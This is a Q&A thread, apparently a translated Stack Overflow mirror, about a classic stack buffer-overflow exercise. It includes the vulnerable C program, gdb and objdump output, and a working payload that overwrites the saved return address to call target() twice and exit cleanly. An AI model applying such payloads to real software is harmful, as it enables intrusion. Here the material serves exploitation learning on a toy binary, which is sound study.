簡體   English   中英

利用緩沖區溢出

[英]Exploit a buffer overflow

為了我的學習,我嘗試創建一個有效載荷,使其溢出緩沖區並調用一個名為“目標”的“秘密”函數

這是我用於在i686上進行測試的代碼

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

任務1 :創建有效負載以便調用target()。 通過將EIP替換為目標函數的地址,這很容易做到。

這是緩沖區的外觀

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

我使用的有效負載是:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

這樣可以正常工作,但會因分段錯誤而停止。

任務2:以不會導致分段錯誤的方式修改有效負載

這是我被困的地方。 顯然它會導致分段錯誤,因為我們不使用調用指令調用目標,因此沒有有效的返回地址。

我試圖在堆棧上添加返回地址,但這沒有幫助

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

也許有人可以幫我解決這個問題。 可能我還要添加保存的主要EBP?

我附上了程序的objdump

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop

您需要足夠的數據來填充“緩沖區”所在堆棧的保留內存,然后更多地覆蓋堆棧幀指針,然后使用target()的地址覆蓋返回地址,然后在target()再覆蓋一個地址但是不是在函數的最開頭 - 輸入它,這樣就不會在堆棧上推送舊的堆棧幀指針。 這將導致您運行目標而不是從vulnerable()正確返回,然后再次運行target() ,以便從target()返回到main() ,因此退出時沒有分段錯誤。

當我們第一次進入vulnerability()並且即將數據放入'buffer'變量時,堆棧如下所示:

-----------
|  24-bytes of local storage - 'buffer' lives here 
-----------
|  old stack frame pointer (from main) <-- EBP points here
-----------
|  old EIP (address in main)
-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
|  ... more stack here ...

所以從'緩沖區'的地址開始,我們需要輸入24字節的垃圾來通過堆棧上保留的本地存儲,然后再多4個字節來通過存儲在堆棧上的舊堆棧幀指針,然后我們位於舊EIP存儲的位置。 這是CPU盲目跟隨的指令指針。 我們喜歡他。 他將幫助我們粉碎這個計划。 我們覆蓋堆棧中舊EIP的值,該堆棧當前指向main()中的地址,其中target()的起始地址是通過gdb disassemble命令找到的:

(gdb) disas target
Dump of assembler code for function target:
   0x08048424 <+0>:     push   %ebp
   0x08048425 <+1>:     mov    %esp,%ebp
   0x08048427 <+3>:     sub    $0x18,%esp
   0x0804842a <+6>:     movl   $0x8048554,(%esp)
   0x08048431 <+13>:    call   0x8048354 <puts@plt>
   0x08048436 <+18>:    leave
   0x08048437 <+19>:    ret
End of assembler dump.

target()函數的地址是0x08048424。 由於(我的系統至少)系統是小端,我們首先輸入LSB,然后是x24,x84,x04和x08。

但是這給我們留下了一個問題,因為當漏洞()返回時,它會彈出我們放入堆棧中的堆棧中的所有垃圾,當我們即將在target()中處理時,我們會留下一個看起來像這樣的堆棧第一次:

-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
| ... more stack here ...

因此,當target()想要返回時,它將無法按預期在堆棧頂部找到返回地址,因此會出現分段錯誤。

因此,我們希望在開始在target()中處理之前將新的返回值強制到堆棧的頂部。 但選擇什么價值? 我們不想推動EBP,因為它包含垃圾。 記得? 當我們覆蓋'緩沖'時,我們把垃圾塞進去。 所以改為在...之后推送target()指令

push %ebp

(在本例中為地址0x08048425)。

這意味着當target()准備好第一次返回時,堆棧將如下所示:

-----------
|  address of mov %esp, %ebp instruction in target()
-----------
|  top of stack for main
-----------
|  ... more stack here ...

所以當第一次從target()返回時,EIP現在將指向target()中的第二條指令,這意味着我們第二次處理target()時它具有與main()處理時相同的堆棧。 堆棧的頂部與main()的堆棧頂部相同。 現在堆棧看起來像:

-----------
|  top of stack for main
-----------
|  ... more stack here ...

所以當target()第二次返回時它有一個好的堆棧返回,因為它使用的是main()使用的相同堆棧,因此程序正常退出。

因此,總結一下是28字節,后跟target()中第一條指令的地址,后跟target()中第二條指令的地址。

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM